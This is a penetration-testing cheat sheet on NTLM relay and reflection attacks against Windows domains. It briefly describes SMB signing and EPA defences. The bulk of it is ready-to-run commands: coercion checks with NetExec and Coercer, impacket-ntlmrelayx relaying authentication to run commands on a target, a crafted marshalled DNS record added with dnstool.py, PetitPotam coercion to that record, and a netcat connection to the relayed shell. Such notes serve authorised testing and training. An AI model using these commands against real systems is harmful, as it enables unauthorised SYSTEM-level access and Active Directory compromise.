Relay Attack

Information

After successfully forcing a victim to authenticate with LM or NTLM to an attacker's server, the attacker can try to relay that authentication to targets of his choosing.

Coerce	Techniques that enable attackers to redirect traffic or redirect/force targets authentications.

Difenses	Required	Enabled	Disabled
Signing	All sessions must be signed. If the peer doesn’t support signing, the connection is refused, preventing NTLM relay on SMB/LDAP. ​	Negotiates signing if the peer supports it. If not, the session may proceed unsigned.	No signing
EPA	Channel binding that ties auth to the TLS channel (server certificate), preventing NTLM relay on TLS services like HTTPS/LDAPS. ​	Used when both sides support it. If either side lacks support, auth proceeds without EPA. ​	No channel binding

The LM and NTLM authentication protocols are "application protocol-independent". It means one can relay LM or NTLM authentication messages over a certain protocol, say HTTP, over another, say SMB. That is called cross-protocols LM/NTLM relay. It also means the relays and attacks possible depend on the application protocol the authentication messages are embedded in.

For details, see HERE.

Detection

With NetExec and Coercer we can verify coercion vulnerabilities,

nxc smb <IP> -u <USER> -p <PASS> -M coerce_plus

coercer scan --target-ip <IP> -u <USER> -p <PASS>
# coercer coerce --target-ip <IP> --listener-ip <MYIP> -u <USER> -p <PASS> --filter-protocol-name "<PROTOCOL_ex_MS-EFSR" --filter-method-name "<METHOD_ex_EfsRpcAddUsersToFile"

We can also verify SMB signing status and channel binding

nxc ldap <IP> -u <USER> -p <PASS> -M ldap-checker

Relay

If you are unable to crack the NTLM hash, we can try to relay the authentication to another system. In fact, a user on one machine might be local administrator on another. If he is, we can run commands (no UAC confirmation required).

With impacket-ntlmrelayx

sudo impacket-ntlmrelayx --no-http-server -smb2support -t <TARGET_RETRANSMISSION> -c "<COMMAND_TO_EXECUTE_ON_TARGET>"

Reflection

Allowing attackers to impersonate high-privilege users (especially SYSTEM or administrators).

Description

Windows uses hostname comparison to determine whether NTLM authentication is local. If it concludes that the target is itself, it engages local NTLM mode, which skips challenge-response verification and inserts the token directly into memory.

This logic breaks when using crafted DNS names that include marshalled metadata. Windows parses the DNS string, strips the metadata, and compares only the hostname (e.g., localhost), wrongly concluding the connection is local.

As a result, SYSTEM processes like lsass.exe can be coerced into authenticating to an attacker-controlled listener. The attacker then relays that SYSTEM token back via SMB, gaining SYSTEM-level access.

Verify SMB signing status and coercion vulnerabilities

nxc smb <IP> -u <USER> -p <PASS> -M coerce_plus
nxc smb <IP> -u <USER> -p <PASS> -M ntlm_reflection

Prepare ntlmrelayx (impacket) to intercept NTLM authentication and relay it back to the target

ntlmrelayx.py -t [<PROTO>://]<IP/DOMAIN> -smb2support [-i]
# impacket-ntlmrelayx -t <DC01.DOMAIN.COM> -smb2support
# impacket-ntlmrelayx -t winrms://<IP> -smb2support
# impacket-ntlmrelayx -t all://<IP> -smb2support

Craft a special DNS entry to trick Windows into believing it’s communicating with itself

python3 dnstool.py -u '<DOMAIN>\<USER>' -p <PASS> <DC01.DOMAIN.COM> -a add -r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' -d <MyIP> -dns-ip <IP>

Now use NetExec or PetitPotam to coerce the victim host into initiating an outbound NTLM authentication using our spoofed DNS name:

nxc smb <IP> -u <USER> -p <PASS> -M coerce_plus -o METHOD=PetitPotam LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA [-k]

python3 PetitPotam.py -u <USER> -p <PASS> -d <DOMAIN> localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA <DC01.NANOCORP.HTB> [-k]

Finally, we can connect with netcat (see ntlmrelayx output)

nc 127.0.0.1 11000